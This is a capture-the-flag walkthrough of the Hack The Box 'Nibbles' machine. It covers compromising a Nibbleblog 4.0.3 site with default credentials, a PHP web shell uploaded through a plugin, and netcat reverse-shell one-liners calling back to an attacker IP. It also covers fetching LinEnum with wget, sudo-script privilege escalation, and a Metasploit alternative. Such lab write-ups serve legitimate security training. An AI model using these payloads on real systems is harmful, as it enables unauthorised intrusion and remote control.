Nibbles โ Hack The Box
by
๐ง Summary
Hack The Boxโs Nibbles is an easy Linux box that walks us through basic web enumeration, CMS exploitation, reverse shell upload via a plugin, and privilege escalation through misconfigured script execution rights.
๐ ๏ธ Tools Used
- Nmap
- WhatWeb
- Gobuster
- Curl
- LinEnum
- Netcat
- PHP Web Shell
- Python HTTP server
๐ฅ๏ธ Target Info
- IP:
10.129.249.115 - OS: Linux (Ubuntu)
- Web: Apache 2.4.18
- CMS: Nibbleblog v4.0.3 (codename Coffee)
- Difficulty: Easy (Retired Machine)
- Tags: Linux, Web Exploitation, Directory Enumeration, CMS Exploit, Reverse Shell, Privilege Escalation, sudo, Local File Inclusion (LFI), PHP
๐ Steps to Root
1. Nmap Scan
nmap -sV -sC -p 80 --open 10.129.249.115
Apache found running on port 80.
๐ Nmap Scan

2. WhatWeb Scan
whatweb http://10.129.249.115
Identified Apache version and OS.
๐ WhatWeb Scan

3. Curl the Web Root
curl http://10.129.249.115
Found a suspicious comment:
<!-- /nibbleblog/ directory. Nothing interesting here! -->
๐ Curl Reveals Hidden Path

4. WhatWeb on /nibbleblog
whatweb http://10.129.249.115/nibbleblog
Reveals site is powered by Nibbleblog.
๐ WhatWeb on /nibbleblog

5. Directory Bruteforce with Gobuster
gobuster dir -u http://10.129.249.115/nibbleblog/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
Discovered /admin, /content, /plugins, /README, and more.
๐ช Gobuster Directory Bruteforce

6. Extract CMS Version from README
curl http://10.129.249.115/nibbleblog/README
Found Nibbleblog v4.0.3
๐ README Exposes Version

7. Check users.xml File
curl -s http://10.129.249.115/nibbleblog/content/private/users.xml | xmllint --format -
Username found: admin
๐ค users.xml Disclosure

8. Check config.xml for Metadata
curl -s http://10.129.249.115/nibbleblog/content/private/config.xml | xmllint --format -
Email fields and blog path information found.
โ๏ธ config.xml Full Dump

โ๏ธ config.xml Email Fields

9. Admin Login Page
Go to:
http://10.129.249.115/nibbleblog/admin.php
Try default creds:
Username: admin
Password: nibbles
๐ Admin Login Page

๐งญ Admin Dashboard Accessed

10. Upload Web Shell via Plugin
Go to: Plugins โ My Image Upload a shell like:
<?php system('id'); ?>
๐ป PHP Shell: system(โidโ)

๐ค Upload via My Image Plugin

11. Trigger Web Shell
Visit:
http://10.129.249.115/nibbleblog/content/private/plugins/my_image/image.php
Youโll get UID confirmation.
โ Shell Executed Successfully

12. Get a Reverse Shell
Change the current shell.php script to this:
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.76 9443 >/tmp/f"); ?>
Start listener:
nc -lvnp 9443
๐ Reverse Shell Payload (Netcat)

๐ฅ Shell Received + user.txt

13. Post-Exploitation
Unzip personal.zip:
unzip personal.zip
๐๏ธ Unzipped personal.zip

14. Transfer and Run LinEnum
On attacker:
sudo python3 -m http.server 8080 - make sure same dir as linenum
On target:
wget http://10.10.14.76:8080/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh
๐ Serving LinEnum.sh

๐งช Running LinEnum on Target

15. Privilege Escalation via monitor.sh
From LinEnum:
(ALL) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Exploit:
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.76 8443 >/tmp/f' >> /home/nibbler/personal/stuff/monitor.sh
nc -lvnp 8443
sudo /home/nibbler/personal/stuff/monitor.sh
โ ๏ธ Sudo Rights for monitor.sh

๐ฏ monitor.sh Exploited

๐ Root Reverse Shell

๐งจ Root Flag
cat /root/root.txt
de5e5d6619862a8aa5b9b212314e0cdd
๐ Root Flag Captured

โก Metasploit Alternative (Optional)
If you want to skip manual steps:
msfconsole
use exploit/multi/http/nibbleblog_file_upload
set RHOSTS 10.129.249.115
set RPORT 80
set TARGETURI /nibbleblog
set USERNAME admin
set PASSWORD nibbles
exploit
This gives you a meterpreter shell directly.
๐ก๏ธ Conclusion
The Nibbles box reinforces how outdated CMS versions and weak plugin validation can lead to full system compromise. Enumeration, basic scripting, and privilege escalation misconfigs made this a solid beginner box.
tags: